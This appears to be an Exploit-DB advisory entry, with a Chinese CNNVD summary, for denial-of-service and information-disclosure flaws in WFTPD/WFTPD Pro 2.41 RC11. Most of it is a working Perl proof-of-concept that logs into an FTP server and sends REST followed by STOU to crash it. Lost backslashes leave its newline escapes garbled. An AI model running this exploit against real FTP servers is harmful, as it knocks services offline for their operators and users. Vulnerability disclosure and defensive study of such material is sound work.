https://www.exploit-db.com/exploits/20101
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200007-060

WFTPD和WFTPDPro2.41版本存在漏洞。远程攻击者通过使用RESTART(REST)命令且书写超出了文件的末尾，或者写入不存在的文件，借助如STOREUNIQUE(STOU),STORE(STOR),或者APPEND(APPE)命令导致服务拒绝。

source: http://www.securityfocus.com/bid/1506/info
 
WFTPD versions prior to 2.4.1RC11 suffer from a number of vulnerabilities.
 
1) Issuing a STAT command while a LIST is in progress will cause the ftp server to crash.
2) If the REST command is used to write past the end of a file or to a non-existant file (with STOU, STOR, or APPE), the ftp server will crash.
3) If a transfer is in progress and a STAT command is issued, the full path and filename on the server is revealed.
4) If an MLST command is sent without first logging in with USER and PASS, the ftp server will crash.

================================================================
BluePanda Vulnerability Announcement: WFTPD/WFTPD Pro 2.41 RC11
21/07/2000 (dd/mm/yyyy)

[email protected]
http://bluepanda.box.sk/
#!/usr/bin/perl
#
# WFTPD/WFTPD Pro 2.41 RC11 denial-of-service #2
# Blue Panda - [email protected]
# http://bluepanda.box.sk/
#
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
#

use IO::Socket;

$host = "ftp.host.com" ;
$port = "21";
$user = "anonymous";
$pass = "p@nda";
$wait = 10;

# Connect to server.
print "Connecting to $host:$port...";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "failed.n";
print "done.n";

print $socket "USER $usernPASS $passnREST 1nSTOUn";

# Wait a while, just to make sure the commands have arrived.
print "Waiting...";
$time = 0;
while ($time < $wait) {
        sleep(1);
        print ".";
        $time += 1;
}

# Finished.
close($socket);
print "nConnection closed. Finished.n"

来源:BID
名称:1506
链接:http://www.securityfocus.com/bid/1506
来源:BUGTRAQ
名称:20000721WFTPD/WFTPDPro2.41RC11vulnerabilities.
链接:http://archives.neohapsis.com/archives/bugtraq/2000-07/0295.html